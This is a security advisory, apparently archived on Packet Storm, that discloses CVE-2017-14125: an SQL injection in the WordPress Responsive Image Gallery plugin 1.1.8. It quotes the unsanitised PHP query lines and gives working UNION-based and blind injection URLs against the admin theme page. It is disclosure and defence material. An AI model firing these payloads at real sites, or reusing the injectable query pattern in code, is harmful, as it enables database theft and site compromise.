what you don't know can hurt you

WordPress Responsive Image Gallery 1.1.8 SQL Injection

WordPress Responsive Image Gallery 1.1.8 SQL Injection
Posted Sep 21, 2017
Authored by Manuel Garcia Cardenas

WordPress Responsive Image Gallery plugin version 1.1.8 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2017-14125
MD5 | fb882fae7dbe8d7978e4631e09eda175

WordPress Responsive Image Gallery 1.1.8 SQL Injection

Change Mirror Download
=============================================
MGC ALERT 2017-006
- Original release date: September 01, 2017
- Last revised: September 25, 2017
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2017-14125
=============================================

I. VULNERABILITY
-------------------------
WordPress Plugin Responsive Image Gallery 1.1.8 - SQL Injection

II. BACKGROUND
-------------------------
Gallery is very important tool for any website. The most of users have
Galleries on their website. Our Gallery plugin allow you to display your
Galleries with awesome views and animation effects, so you need to try our
plugin.

III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:

/gallery-album/includes/frontend/gallery_class.php
$theme = $wpdb->get_row( "SELECT * FROM
".wpdevart_gallery_databese::$table_names['theme']." WHERE `id` =
$theme_id" );
/gallery-album/includes/admin/gallery_theme.php
$theme_params = $wpdb->get_row('SELECT * FROM
'.wpdevart_gallery_databese::$table_names['theme'].' WHERE id='.$id);

And when the query is executed, the parameter "id" it is not sanitized.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code.

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from SQL Injection.

Union SQL Injection POC:

/wordpress/wp-admin/admin.php?page=wpdevart_gallery_themes&task=add_edit_theme&id=-1+UNION+ALL+SELECT+NULL,@@VERSION,NULL,NULL--

Blind SQL Injection POC:

/wordpress/wp-admin/admin.php?page=wpdevart_gallery_themes&task=add_edit_theme&id=1+and+1=0

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Responsive Image Gallery 1.1.8

VII. SOLUTION
-------------------------
Vendor release a new version 1.2.1
https://downloads.wordpress.org/plugin/gallery-album.1.2.1.zip

VIII. REFERENCES
-------------------------
https://wordpress.org/plugins/gallery-album/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
September 01, 2017 1: Initial release
September 25, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
September 01, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
September 01, 2017 2: Send to vendor
September 22, 2017 3: Vendor fix the vulnerability and release a new version
September 25, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester


Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close